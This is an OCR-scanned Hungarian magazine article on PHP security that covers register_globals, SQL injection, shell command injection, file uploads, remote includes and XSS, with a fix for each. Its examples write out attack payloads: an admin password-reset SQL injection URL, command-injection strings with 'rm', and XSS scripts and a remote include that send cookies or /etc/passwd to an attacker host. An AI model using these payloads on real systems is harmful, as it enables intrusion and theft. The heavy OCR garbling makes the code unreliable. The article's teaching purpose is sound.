3A PHP-programozas és a biztonsag

Meglehetdésen konnyd olyan kédot irni, ami ellenall az altalanos tamadasoknak.

Ismerkedjink meg az alapelvekkel!

bben a cikkben a PHP programozasi nyelvvel kapcso-
E latos biztonsagi fenyegetésekkel és a tamadasok kikii-
szobolésének moédozataival ismerkediink meg. Tudnod
kell, hogy most csak néhany lehetséges hibat és elkeriilési
moédozatot targyaluk, ezzel is csokkenteni szeretnénk a lehet-
séges tamadasok kockazatat, egyben noévelni az okos véde-
kezés esélyeit.
Biztonsagos alkalmazas irasakor a legalapvetdbb szabély, hogy
a felhasznal¢ éltal megadott bemenetben sosem szabad meg-
bizni! A nem megfelelGen ellendrzott beolvasott értékek jelen-
tik a legnagyobb veszélyt a webes alkalmazasok esetében. Mas
szavakkal, a felhasznaldi bevitelt mindaddig btinésnek tekint-
juk, amig artatlansaga nem bizonyitott.

Teljes valtozoi hatokor

A 4.2.0 el6tti PHP-valtozatok a bejegyzett valtozokat az egész
program teriiletén érvényessé tették, igy egyetlen valtozo tartal-
maban sem lehetett bizni, lehetett az kiilsé vagy belsé valtozo.
Nézziik meg ezt a példat:

<?php
if

}

(felhasznalo_azonositasa()) {
Sazonositva = true;

if (!$azonositva) {

die ("HozzEf@r@s megtagadva!") ;
?>

Ha a GET-médszerrel az $Sazonositva valtozot 1-re allitod,
mint ebben a példaban:

http://example.com/admin.php?azonositva=1

akkor a masodik azonositasi kapun sikerrel atjuthatnal.
Szerencsére a 4.1.0-s véltozat 6ta a PHP nem tdmogatja a
register globals-t. Ez annyit tesz, hogy a GET-en, POST-
on a siitikkel, kiszolgal6tél, munkakornyezetbdl kapott valto-
z0k, illetve az adott munkafolyamat valtozéi mar nem lesznek
onmiikodden a teljes programbdl elérhetdk, vagyis nem kap-
nak teljes hatokort. Az igy létrejové valtozok ezental a PHP kii-
l6nleges tombjein keresztiil lesznek elérhetdk. Az igy 1étrejové
egyes tombok nevei: $ GET, $_POST, $ COOKIE, $ SERVER,
$ ENV, $ REQUEST, és $_SESSTON.

Ha a register globals valtoz6 nalad be lenne kapcsolva,
légy kegyes bnmagadhoz, és kapcsold ki! Ha kikapcsolod, és
megfelelGen ellenérzod a felhasznaléi adatbevitelt, maris nagy
1épést tettél a biztonsag eléréséhez vezetd rogos tton. Sok
esetben a tipuskényszerités elégséges ellendrzésnek mindsiil.
A felhaszndl6 bongészdjében futé JavaScriptre épiils tirlapel-
len6rzk teljesen hatastalanok, mivel a felhasznalé még bar-
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milyen adatot el tud kiildeni téliik a programnak — nem csak
azokat, amelyeket az tirlap egyébként engedélyezne. Lassunk
egy példat, hogyan is fest mindez:

<?php
$_SESSION|[’azonositva’] = false;
if (felhasznalo azonositasa()) {
$ SESSION|[’azonositva’] = true;
}
if (!$_SESSION[’azonositva’l) {

die ("HozzZEfQr@s megtagadval') ;
?>

Adathazis-miiveletek

A legtobb PHP-program valamilyen adatbazisra épiil, igy a
felhasznal6tol bekért adatokbdl hoz 1étre SQL-lekérdezéseket.
Az ilyenfajta kapcsolatok veszélyforrassa valhatnak.
Képzeljiink el egy PHP-programot, ami egy tablabdl szarmazo
adatokkal dolgozik. Majd ugyanez a program egy webes
drlapon keresztiil visszakiildeti maganak az adatokat a POST
eljaras segitségével, és a felhasznald kérésének megfelelGen
frissiti a tablat:

<?php
if ($lekerdezes az urlapbol) {
Sdb->query ("update S$tabla set

“nev=Snev") ;
?>

Ha nem ellen6rzod le az drlaptdl kapott Stabla valtozot, és
azt, hogy a $lekerdezes_az_urlapbol valtozod tényleg az
drlaptol jott-e (a $_POST [’ lekerdezes_az urlapbol’]
segitségével), akkor a valtozot akar egy GET-en keresztiil is
visszakiildhették. Példaul ilyen médon:

http://example.com/edit .php?
“lekerdezes_az_urlapbol=1l&tabla=users+set+
= password%3Daaa+where+user%3D%27admin%27+%23

Ez a kovetkezd SQL-lekérdezést eredményezi:

update users set password=aaa
where user="admin" # set name=Sname

Egyszertien leellendrizhetjiik a $tabla valtozo értékét, ha
megnézziik, hogy mondjuk csak bettiket tartalmaz-e vagy

egyetlen sz6bdl 4ll-e:

if (count (explode ("",$tabla)) { ... }
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Kiilsé programok hivasa

Néha sziikség lehet ra, hogy PHP-programunkbdl kiilsé prog-
ramot hivjunk meg — a system(), exec (), popen () vagy
passthru () fiiggvényeket, vagy az egyszeres forditott idéz6-
jel mtveleti jelet felhasznélva. Az egyik legveszélyesebb dolog,
amikor valamilyen felhasznal6tol bekért adattal — akar prog-
ramnévként, akar kapcsoloként — szeretnénk meghivni egy
programot. Az ezzel jaré veszélyekre a PHP-kézikonyv is kiilon
figyelmeztet; megjegyzi, hogy amennyiben egy programot a
felhasznal6tol szarmazé adattal hivunk meg, sziikség lehet az
escapeshellarg() vagy escapeshellcmd () fiiggvények
hasznalatéra, igy elkeriilhetjiik, hogy a felhaszndl6 a rendszert
kijatszva barmilyen program végrehajtasara képes legyen.
Nézziik a kovetkezd példat:

<?php
$fp = popen(’/usr/sbin/sendmail -i ’.
=Scimzett, ‘w’);

?>

A felhasznal6 ebben az esetben a Scimzett valtozot egysze-
riien modosithatja, méghozza igy:

http://example.com/send.php?Scimzett=gonosz%
= 40gonosz.org+%3C+%2Fetc%2Fpasswd$3B+rm+%2A

A kérés kovetkeztében a kovetkezd utasitasok futnanak le:

/usr/sbin/sendmail -1i
= gonosz@gonosz.org/etc/passwd; rm

A biztonsagi hiba egyszertien orvosolhato:

<?php
$fp = popen(’/usr/sbin/sendmail -i ’.
“egscapeshellarg(Scimzett), 'w’);

?>

Még ennél is jobb, ha a $Scimzett véltozéban taldlhato értéket
ellenérzod egy szabalyos kifejezéssel (regexp, vagyis regular
expression), hogy valoban szabalyos levélcim talalhaté-e benne.

Fajlok feltdltése

Fajlfeltoltésnél tgyszintén szamitanunk kell hibakra a PHP
altal alkalmazott médszer miatt. A PHP létrehoz egy teljes
hatokord valtozot a fajl drlapban 1évé bemeneti tagjanak
megfeleléen, majd ezt kovetSen létrehoz egy allomanyt

a feltoltott fajl tartalmanak megfelelGen, azt azonban nem
ellenérzi, hogy a fajlnév elfogadhaté-e, és hogy valéban

a feltoltott fajlt takarja-e.

<?php
if (sfajl feltoltes && $fn type ==
=/image/gif’ &&
$fn size < 100000) {
copy ($fn, ’'k@pek/’);
unlink ($fn) ;

}
?>
<form method="post" name="fajl feltoltese"
“action="fupload.php" enctype="multipart/
= form-data">
File: <input type="file" name="fn">
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<input type="submit" name="fajl feltoltes"
=value="Felt 1t@s">

Egy rossz szandéka felhaszndlé 1étrehozhatja a sajat trlapjat,
ami mondjuk valamilyen kényes dolgokat tartalmazo fajlra
hivatkozik, és ilyen médon ravehetné a programunkat, hogy
a kivant fajlt jelenitse meg;:

<form method="post" name="fajt feltoltese"
=action="fupload.php">

<input type="hidden" name="fn"
=value="/var/www/html/index.php">

<input type="hidden" name="fn type"
=value="text">

<input type="hidden" name="fn size"
=value="22">

<input type="submit" name="fajl feltoltes"
=value="Felt 1t@s">

Ilyen médon a program a /var/www/html/index.php fajlt
masolna a képek/ konyvtarba. A megoldast a

move uploaded file() ésis uploaded file()
fiiggvények hasznalata jelenti. A felhasznalo altal feltoltott
fajlokkal egyéb bajok is vannak. Képzeljiink el egy webes
alkalmazast, ami engedélyezi a 100 K-nal kisebb allomanyok
feltoltését. Ilyen esetekben se a move uploaded file(), se
az is_uploaded file() fliggvény nem segitene. A timadé
még igy is elkiildhetné a sajat tirlapjat, megadva a fajl méretét,
akarcsak az el6z6 példaban. A fajl valédisaganak ellenérzésére
a legalkalmasabb tt az, ha az adatok lekérdezésére a $ FILES
teljes hatokord tombdot hasznaljuk:

<?php
if ($fajl feltoltes &&
$ FILES['fn’] ["type’] == ’'image/gif’
$ FILES['fn’] ['size’] < 100000) {
move uploaded file(
$ FILES['fn’] ['tmp name’],
= 'k@pek/") ;

&&

}

?>

Beszerkesztett (include) fajlok

PHP-ban az include (), include once(), require() és
require_once () segitségével helyi és tavoli fajlokat egyarant
be lehet szerkeszteni a programba. Ez hasznos lehetéség, mivel
ilyen modon kiilon fajlokban lehet tarolni az osztalyokat, az
Gjrahasznositott kddot és a tobbit, igy novelve a kéd karban-
tarthatosagat és megbizhatésagat.

Ugyanakkor alapvetSen elég veszélyes tavoli fajlokat beszer-
keszteni, mivel elképzelhetd, hogy a tavoli oldalt netan feltor-
ték, vagy a kapcsolatot egy masik kiszolgalora téritették el.
Barmelyik esetben a programba ismeretlen és esetlegesen rossz
szandéka kod illesztddik be.

A fajlok beszerkesztése néhany mas jellegd gondot is felvet,
hasznalotél bekért adaton alapul. Képzeljiink el egy progra-
mot, ami HTML-fajlokat illeszt be és jelenit meg valamilyen
megfeleld formatumban:

<?php
include (Soldalszerkezet) ;
?>




Ha valaki az $oldalszerkezet véltozét mondjuk a GET-en
keresztiil adna meg, konnyen kitaldlhat6, milyen kévetkez-
ményekkel szamolhatunk:

http://example.com/leftframe.php?layout=
= /etc/passwd

vagy
http://example.com/leftframe.php?layout=
“http://gonosz.org/huncut .html

és ez a huncut.html mondjuk a kovetkezé néhany sort tartalmazza:

<?php
passthru(-rm -);
passthru(-mail gonosz@gonosz.org
=</etc/passwd-) ;

?>

Hogy ezt az eshetGséget elkeriiljitk, mindenképpen ellendriz-
ziik le a véltozo tartalmat, mondjuk egy szabalyos kifejezéssel.

Oldalak kozti kodatvitel (Cross-Site Scripting — XSS)

Az Gjsagoknak és hiroldalaknak készonhetSen ez a tamadasi
forma meglehetdsen nagy ismertségre tett szert az elmalt id6k-
ben. Egy egyszerd kereséssel a BugTraq levelezési lista archivu-
maban csak juniusban 15 taldlatot kapunk, amelyek mind kii-
16nb6z6 webes alkalmazasok XSS-en alapul6 hibait targyaljak.
Az effajta timadas egyenesen az oldalak felhasznaléi ellen iré-
nyul. Ezt a timad¢ tgy éri el, hogy rabirja a felhasznalot, kat-
tintson egy megfelelGen kialakitott hivatkozasra. Ez egyszertien
megoldhaté mondjuk egy HTML-levéllel, egy webalapt férum-
ban, de akar egy sanda szdndékt weboldalon is. Az dldozat
talan nem is tud réla, hogy egy ilyen tritkkos hivatkozasra kat-
tintott, ha ez a hivatkozas mondjuk egy weboldalba van bea-
gyazva; sét olykor egy-egy hiba kiaknazasa még felhasznaldi
kozremiikodést sem igényel. Vagyis ha a felhasznalé bongészdje
megkapja a kért oldalt, az abban taldlhat6 parancsfajl a felhasz-
nalé biztonsagi bedllitasai mellett szinte barmit megtehet.

A korszert felhasznaléoldali parancsnyelvek egy sor olyan
szolgaltatassal rendelkeznek, amelyek esetenként egyaltalan
nem biztonsagosak. Bar alapesetben a JavaScript csak az adott
oldal siitijeit érheti el, a rosszul megirt parancsfajlok esetenként
azonban mas oldalak siitijeihez is hozzaférhetnek.
XSS-tamadasoknal gyakori eset, hogy példaul a felhasznalo

be van valamilyen webes alkalmazasba jelentkezve, és a mun-
kafolyamatahoz tartozoé siitik a gépén tarolédnak, a timado
pedig egy ellendrizetlen bemenet segitségével egy hivatkozast
készit az alkalmazashoz, ami feldolgozza az aldozat kérését,

és meg is jeleniti azt.

Az alébbi példa arra szolgal, hogy megértsiik, mirél van szo.
Képzeljiink el egy webes alkalmazast, ami vakon megjeleniti

a levélhez tartozo téma mezét:

<?php

echo "<TD> S$Stema </TD>";
?>

Ebben az esetben a timad¢ akar egy JavaScript-kédot is elrejt-
het a levél téma mezGjébe, ami — ha a felhasznalé megnézi a
levelet — 6nmagétol végrehajtédik. Ez a hiba felhasznalhato
arra, hogy a felhasznalo¢ siitijeinek a segitségével egy ehhez
hasonl6 JavaScript-kéddal ellopjak munkafolyamatot:
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<script>
self.location.href="http://gonosz.org/

= suticsapda.html?suti="+escape (document .cookie)
</script>

Amikor a felhasznal6 megnyitja a hivatkozast, akkor a Java-
Script-kédban megadott helyre iranyitédik tovabb, ami egytt-
tal a felhaszndlo¢ siitijeit is kiadja. A timaddonak nem kell mast
tennie, mint belepillantania a webkiszolgal6 naplofajljaiba,
hogy megtudja az aldozat munkafolyamatanak azonositéit.

A htmlspecialchars () fiiggvénnyel azonban elkeriilhetjitk
az efféle kellemetlenségeket. A htmlspecialchars() a
HTML-vezérl6karaktereket HTML-kédokkd alakitja, vagyis
példaul a < @s > karaktereket a <script>-bdl a nekik meg-
felel6 HTML-k6dda alakitja at, &1t ;-vé, és &gt ;-vé. Igy
amikor az dldozat bongészdje megjeleniti az oldalt, semmi
veszélyes nem torténhet, mivel a levélben csak egy
&lt;script&gt; karaktersorozatot lat, aminek semmilyen
jelentése nincs, egyszerd szovegként értelmezhetd.

A megoldas tehét a kovetkezs:

<?php

echo "<TD> ".htmlspecialchars($tema) ."
=< /TD>";
?>

Egy masik altalanos eset, amikor egy trlap nem lathat6
mezdjébe sztrunk be értékeket:

<input type="hidden" name="oldal"
=value="<?php echo $oldal; ?>">

Lassuk a kovetkezd URL-t:

http://example.com/oldal.php?oldal=">

= <script>self.location.href="http://gonosz.org/
= xss-tamadas.html?sutik="

= t+escape (document . cookie) </script>

Ha a tdmadonak sikeriil rdvennie minket, hogy ellatogassunk
egy ehhez hasonlé hivatkozasra, lehetséges, hogy bongészén-
ket a tdimad¢ oldaléra iranyitja tovabb, mint az el6z6 példaban.
Mivel azonban az $oldal valtoz6 szamtipust, az effajta hiba
egyszerd tipuskényszeritéssel elkeriilhetd:

<input type="hidden" name="page" value=
="<?php echo intval (Spage); ?>">

Meég egyszer tehat: ahhoz, hogy az efféle taimaddsokat elke-
riiljitk, mindig ellendrizni kell a felhasznal6 éltal megadott
bevitelt, vagy pedig — miel6tt barmit is megjelenitenénk —

a htmlspecialchars () fuggvénnyel el kell tavolitanunk
a HTML-vezérl6karaktereket.
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